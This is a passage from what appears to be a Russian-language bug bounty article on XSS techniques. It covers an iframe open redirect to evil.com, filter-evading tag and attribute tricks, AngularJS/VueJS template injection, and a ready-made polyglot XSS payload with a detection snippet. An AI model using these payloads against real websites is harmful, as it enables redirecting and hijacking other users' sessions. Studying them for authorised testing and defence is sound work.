\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430 \u0441\u0430\u0439\u0442, \u043d\u043e \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0435 \u043f\u043e\u0434\u0443\u043c\u0430\u043b\u0438 \u043f\u0440\u043e \u044d\u0442\u043e\u0442 \u0430\u0442\u0440\u0438\u0431\u0443\u0442, \u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e JS. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/64\/u4\/tl\/64u4tlp8af1vu2lbli8zl2pvd2w.png\" data-src=\"https:\/\/habrastorage.org\/webt\/64\/u4\/tl\/64u4tlp8af1vu2lbli8zl2pvd2w.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430 <code>srcdoc<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e HTML entity:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/-t\/rt\/-j\/-trt-j7_w8x-zemz-l9lkswynfg.png\" data-src=\"https:\/\/habrastorage.org\/webt\/-t\/rt\/-j\/-trt-j7_w8x-zemz-l9lkswynfg.png\"\/><\/p>\n<p>  <\/p>\n<ul>\n<li>\u041d\u0435 \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u0438\u0442\u044c XSS \u2014 \u0435\u0441\u0442\u044c \u043f\u043e\u0447\u0442\u0438 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 open redirect.<\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u0438\u0442\u044c XSS, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0440\u0435\u0448\u0438\u043b, \u0447\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 iframe, \u043d\u043e \u0431\u0435\u0437 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0438 \u0431\u0435\u0437 srcdoc, \u0442\u043e \u0443 \u043d\u0430\u0441 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u2014 <strong>open redirect<\/strong>, \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<p><code>&lt;iframe src=\"https:\/\/avtohanter.ru\/toplevel.html\"><\/code><\/p>\n<p>  <\/p>\n<p>\u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c iframe, \u0435\u0433\u043e src \u0443\u043a\u0430\u0437\u0430\u043d \u043d\u0430 \u0434\u0440\u0443\u0433\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443. \u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u2014 \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u0435\u0442 top.window.location \u043d\u0430 \u0434\u0440\u0443\u0433\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/y2\/vf\/2f\/y2vf2flhzpqyv_f7ksxaoxftqb8.png\" data-src=\"https:\/\/habrastorage.org\/webt\/y2\/vf\/2f\/y2vf2flhzpqyv_f7ksxaoxftqb8.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0418 \u0435\u0441\u043b\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0441\u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442 \u044d\u0442\u043e \u043d\u0430 \u043a\u0430\u043a\u043e\u043c-\u0442\u043e \u0441\u0430\u0439\u0442\u0435, \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u043d\u0430 <a href=\"https:\/\/evil.com\">https:\/\/evil.com<\/a>. <\/p>\n<p>  <\/p>\n<p>\u0423 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0435\u0441\u0442\u044c \u0438\u0435\u0440\u0430\u0440\u0445\u0438\u044f \u043e\u043a\u043e\u043d, \u0435\u0441\u0442\u044c \u043e\u043a\u043d\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 \u043e\u043a\u043d\u0430. \u0418 iframe, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0430\u0439\u0442\u0430, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u043c \u043e\u043a\u043d\u043e\u043c, \u043d\u043e \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043e\u043a\u043d\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f. \u041e\u043d \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0442\u044c \u0435\u0433\u043e top.window.location, \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c open redirect.<\/p>\n<p>  <\/p>\n<p>\u041b\u0435\u0447\u0438\u0442\u0441\u044f \u044d\u0442\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u043c sandbox, \u043d\u043e \u043d\u0438\u043a\u0442\u043e \u043e\u0431 \u044d\u0442\u043e\u043c \u043d\u0435 \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442\u0441\u044f. \u0415\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 iframe, \u0442\u043e \u0442\u0430\u043a\u0438\u043c \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043a\u0443\u0434\u0430 \u0443\u0433\u043e\u0434\u043d\u043e.<\/p>\n<p>  <\/p>\n<h3>XSS \u2014 Level 1337<\/h3>\n<p>  <\/p>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043d\u0430 \u0441\u0443\u043f\u0435\u0440\u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:<\/p>\n<p>  <\/p>\n<ul>\n<li>\u041f\u0440\u043e\u0431\u0435\u043b\u044b \u043c\u0435\u0436\u0434\u0443 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438 \u0432 \u0442\u0435\u0433\u0435 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c\u0441\u044f \u0441\u043b\u044d\u0448\u0435\u043c. \u0422\u0435\u0433 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0442\u044c! <\/li>\n<\/ul>\n<p>  <\/p>\n<p><code>&lt;iframe\/onload='alert()'<\/code><\/p>\n<p>  <\/p>\n<ul>\n<li>\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0442\u0435\u0433\u0438 \u0437\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432. <\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u044d\u0442\u0438\u0445 \u0434\u0432\u0443\u0445 \u0444\u0430\u043a\u0442\u043e\u0432, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u0438\u0439\u0442\u0438 \u043e\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u0430: <\/p>\n<p>  <\/p>\n<p><code>'\">&lt;\/title>&lt;\/script>&lt;iframe onload='alert``'><\/code><\/p>\n<p>  <\/p>\n<p>\u041a \u0442\u0430\u043a\u043e\u043c\u0443:<\/p>\n<p>  <\/p>\n<p><code>'\">&lt;\/title\/&lt;\/script\/&lt;\/style\/>&lt;iframe\/onload='alert``'<\/code><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u043c\u0435\u043d\u044f\u043b\u0438 \u0432\u0441\u0435 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043d\u0430 \u0441\u043b\u044d\u0448 \u0438 \u0443\u0431\u0440\u0430\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u0441\u043a\u043e\u0431\u043a\u0443 \u0443 iframe. \u0415\u0441\u0442\u044c \u043a\u0435\u0439\u0441, \u043a\u043e\u0433\u0434\u0430 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f <code>(&lt;!-- ... -->)<\/code>, \u043d\u0443\u0436\u043d\u043e \u0441\u0440\u0430\u0437\u0443 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0435\u0433\u043e.<\/p>\n<p>  <\/p>\n<p><code>'\">&lt;\/title\/&lt;\/script\/&lt;\/style\/-->&lt;iframe\/onload='alert``'<\/code><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437 Bug Bounty, \u043e\u043d \u0438\u0437 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u042d\u0442\u043e XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0431\u0440\u0435\u0437\u0430\u043b\u0438 \u0432\u0441\u0451, \u0447\u0442\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u0434 \u043f\u0430\u0442\u0442\u0435\u0440\u043d &#171;&lt;\u2026>&#187;, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0415\u0441\u043b\u0438 \u043f\u043e\u0448\u043b\u0435\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u0433, \u043e\u043d \u043e\u0431\u0440\u0435\u0436\u0435\u0442\u0441\u044f:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/d6\/su\/-c\/d6su-cztxi51nvzhe33npfzhlt8.png\" data-src=\"https:\/\/habrastorage.org\/webt\/d6\/su\/-c\/d6su-cztxi51nvzhe33npfzhlt8.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u0448\u043b\u0435\u043c \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u0433, \u0442\u043e \u043e\u043d \u043e\u0442\u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u0441\u044f:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/oe\/re\/ub\/oereub-mk7-saucf4botoblxh38.png\" data-src=\"https:\/\/habrastorage.org\/webt\/oe\/re\/ub\/oereub-mk7-saucf4botoblxh38.png\"\/><\/p>\n<p>  <\/p>\n<h2>\u0424\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0438<\/h2>\n<p>  <\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0435\u0441\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0435 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 AngularJS \u0438 VueJS. <\/p>\n<p>  <\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434: <\/p>\n<p>  <\/p>\n<p>{{7*7}} &#8212;> 49<\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 49, \u0442\u043e \u0437\u0434\u0435\u0441\u044c \u0442\u043e\u0436\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u041d\u0443\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c constructor.constructor \u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c alert:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/qd\/io\/oo\/qdiooo8fgahrsu_btv61oqabri4.png\" data-src=\"https:\/\/habrastorage.org\/webt\/qd\/io\/oo\/qdiooo8fgahrsu_btv61oqabri4.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u0435\u0439\u043b\u043e\u0430\u0434, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 AngularJS, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u0447\u0435\u043a\u043d\u0443\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0438 \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0438\u0437 <a href=\"https:\/\/portswigger.net\/blog\/xss-without-html-client-side-template-injection-with-angularjs\">\u0441\u043f\u0438\u0441\u043a\u0430<\/a>.<\/p>\n<p>  <\/p>\n<p>\u041a\u0430\u043a \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u043f\u0440\u043e\u0448\u043b\u044b\u043c\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u043c\u0438 HTML entity, \u0434\u043b\u044f AngularJS \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043b\u0438 \u0444\u0438\u0433\u0443\u0440\u043d\u044b\u0435 \u0441\u043a\u043e\u0431\u043a\u0438 \u0438\u043b\u0438 HTML entities. \u0415\u0441\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u0434\u0443\u043c\u0430\u043b: \u00ab\u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e AngularJS \u0438\u043b\u0438 VueJS \u0438 \u043d\u0435 \u0445\u043e\u0447\u0443, \u0447\u0442\u043e\u0431\u044b \u043c\u043d\u0435 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0444\u0438\u0433\u0443\u0440\u043d\u044b\u0435 \u0441\u043a\u043e\u0431\u043a\u0438, \u0431\u0443\u0434\u0443 \u0438\u0445 \u043e\u0431\u0440\u0435\u0437\u0430\u0442\u044c\u00bb, \u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c HTML entity-\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0443\u0436\u0435 \u0441\u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442 \u044d\u0442\u043e \u043a\u0430\u043a \u043d\u0430\u0434\u043e. <\/p>\n<p>  <\/p>\n<p>{{7*7}} -> 49<\/p>\n<p>  <\/p>\n<p>\u0423 VueJS \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0442\u043e\u0442 \u0436\u0435 \u0441\u0430\u043c\u044b\u0439. <\/p>\n<p>  <\/p>\n<p>\u0412\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f:<\/p>\n<p>  <\/p>\n<p>&#8216;&#187;\/test\/>&lt;\/title\/&lt;\/script\/&lt;\/style\/&#8212;>{{7*7}}&lt;iframe\/onload=&#8217;alert&#171;'&lt;!&#8212;<\/p>\n<p>  <\/p>\n<p>&lt;\/title\/&lt;\/script\/&lt;\/style\/&lt;\/noscript\/&#8212;>\u2026 \u2014 \u0441\u0438\u0442\u0443\u0430\u0442\u0438\u0432\u043d\u043e<\/p>\n<p>  <\/p>\n<p>&#8216;&#187;\/test\/ \u2014 \u0435\u0441\u043b\u0438 \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442 (onerror, onmouseover, \u2026)<\/p>\n<p>  <\/p>\n<p>{{7*7}} \u2014 AngularJS, VueJS<\/p>\n<p>  <\/p>\n<p>\u042d\u0442\u043e\u0442 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u043d\u0435 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u043b\u0443\u0447\u0430\u0438, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043f\u043e\u043f\u0430\u043b\u0438 \u0432\u043d\u0443\u0442\u0440\u044c \u0442\u0435\u0433\u0430 <code>&lt;script>alert()&lt;\/script><\/code>, \u0438 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u044d\u0442\u043e\u0442 \u0442\u0435\u0433, \u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c \u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 JS (\u0442\u043e \u0435\u0441\u0442\u044c \u0431\u0435\u0437 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0448\u0438\u0431\u043e\u043a). \u0415\u0441\u043b\u0438 \u0432\u044b \u043f\u043e\u043f\u0430\u043b\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432\u043d\u0443\u0442\u0440\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0431\u044a\u0435\u043a\u0442\u0430, \u0442\u043e \u0432\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0438\u0433\u0443\u0440\u043d\u044b\u0445 \u0441\u043a\u043e\u0431\u043e\u043a, \u043d\u0443\u0436\u043d\u043e \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442. \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0435\u0442.<\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0432\u0435\u0434\u044c \u0435\u0441\u0442\u044c \u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442-\u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u0432. \u0412 \u0447\u0435\u043c \u043e\u0442\u043b\u0438\u0447\u0438\u044f? <\/p>\n<p>  <\/p>\n<ul>\n<li>\n<p>\u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u0442\u0440\u043e\u043a\u0438 \u043c\u0435\u043d\u044c\u0448\u0435, \u0442. \u043a. \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043f\u0430\u0434\u0430\u043d\u0438\u044f \u0442\u0443\u0434\u0430, \u0433\u0434\u0435 \u043d\u0443\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0445\u0435\u043c\u0443 JavaScript (\u0441\u0441\u044b\u043b\u043a\u0438);<\/p>\n<p>  <\/li>\n<li>\n<p>\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 AngularJS, VueJS;<\/p>\n<p>  <\/li>\n<li>\n<p>\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u0432.<\/p>\n<p>  <\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u041e\u0431\u044b\u0447\u043d\u044b\u0435 \u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442-\u043f\u0435\u0439\u043b\u043e\u0430\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 onload=&#8217;alert()&#8217;, \u043d\u043e \u0443 \u043c\u043d\u043e\u0433\u0438\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u044f. \u0412 \u043c\u043e\u0435\u043c \u044d\u0442\u043e:<\/p>\n<p>  <\/p>\n<p>&#8216;&#187;\/test\/>&lt;\/title\/&lt;\/script\/&lt;\/style\/&#8212;>{{7*7}}&lt;iframe\/onload=&#8217;alert&#171;'&lt;!&#8212;<\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u043e\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u0432\u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430 \u043a\u0430\u043a\u043e\u0433\u043e-\u0442\u043e \u0442\u0435\u0433\u0430, \u0442\u043e \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0432\u044b\u0439\u0442\u0438 \u0438\u0437 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442 <code>test<\/code>.<\/p>\n<p>  <\/p>\n<p>\u0427\u0442\u043e \u044d\u0442\u043e \u043d\u0430\u043c \u0434\u0430\u0441\u0442? JS-\u0442\u043e \u0432\u044b\u0437\u043e\u0432\u0435\u043c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u043d\u0430\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u044d\u0442\u043e\u0433\u043e \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 JS, \u043d\u043e \u0441\u0440\u0430\u0437\u0443 \u043c\u044b \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0443\u0432\u0438\u0434\u0438\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u0430\u0436\u0434\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u0433\u0434\u0435 \u0432\u044b \u0445\u043e\u0434\u0438\u0442\u0435, \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435:<\/p>\n<p>  <\/p>\n<p>if(document.querySelectorAll(&#8216;*[test]&#8217;).length>0){<br \/>  prompt(&#8216;XSS&#8217;);<br \/>  }<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" 